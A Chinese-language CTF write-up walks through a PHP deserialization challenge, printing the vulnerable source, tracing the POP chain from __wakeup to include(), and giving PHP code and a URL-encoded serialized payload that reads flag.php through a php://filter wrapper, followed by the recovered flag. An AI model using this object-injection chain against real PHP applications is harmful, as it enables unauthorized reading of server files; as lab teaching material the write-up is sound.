题目源码
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
分析
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
一个保护的属性$var include() 函数(可以通过这个函数读取文件->php伪协议拿flag) __invoke() 魔术方法,该对象被当作函数调用时触发该方法
可以使$var=php://filter/read=convert.base64-encode/resource=flag.php ,再想办法触发__invoke() ,就可以拿到flag
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
两个共有属性$source 、$str __construct() 在对象被创建的时候触发,它将传进来的参数$file 赋给了$source ,并且以字符串的方式调用了它 __toString() 当该对象被当作字符串调用时触发,return $this->str->source 的意思是返回str 对象的source ,也就是说该对象中的str 应该是一个对象 __wakeup() 反序列化前调用,它会将source 当作字符串并过滤一些字符
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
一个共有属性$p __construct() 在对象被创建的时候触发,将$p 初始化为数组 __get() 访问该类中不可访问的属性时触发,将$p 赋给$function ,并以函数的方式调用它,可以触发__invoke() 方法,所以这里的$p 应该为Modifier 类的对象
payload
- 拿flag:
Modifier 类中的属性$var=php://filter/read=convert.base64-encode/resource=flag.php 。 include($var)可以拿flag - 触发
__invoke :Test 类中的$p=new Modifier() 。 此时__get() 方法中的$p() 就是以函数的方式调用,触发__invoke() - 触发
__get() :Show 类中的$str=new Test() ,所以上述的赋值应为:str->p=new Modifier() 。 __toString() 中的str->source 调用了Test 类中的source ,但该类中并无此属性,可触发__get() - 触发
__toString() :Show 类中的$source=new Show() ,所以上述赋值应为:source->str=new Test() (嵌套关系,下面的赋值写在方法里) __wakeup() 方法会将source 以字符串的方式调用做过滤,触发__toString() - 触发
__wakeup() :反序列化Show 对象时自动触发
所以调用顺序为:__wakeup() ->__toString() ->__get() ->__invoke ->include()
payload:
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test {
public $p;
}
class Show {
public $str;
public $source;
public function __construct() {
$this->str = new Test();
}
}
$asd = new Show();
$asd->source = new Show();
$asd->source->str->p = new Modifier();
echo urlencode(serialize($asd));
?>
得到:O%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7Ds%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D base64解码 得到:flag{ea191b85-eac9-4a99-b034-7f4f2aaa714c}
|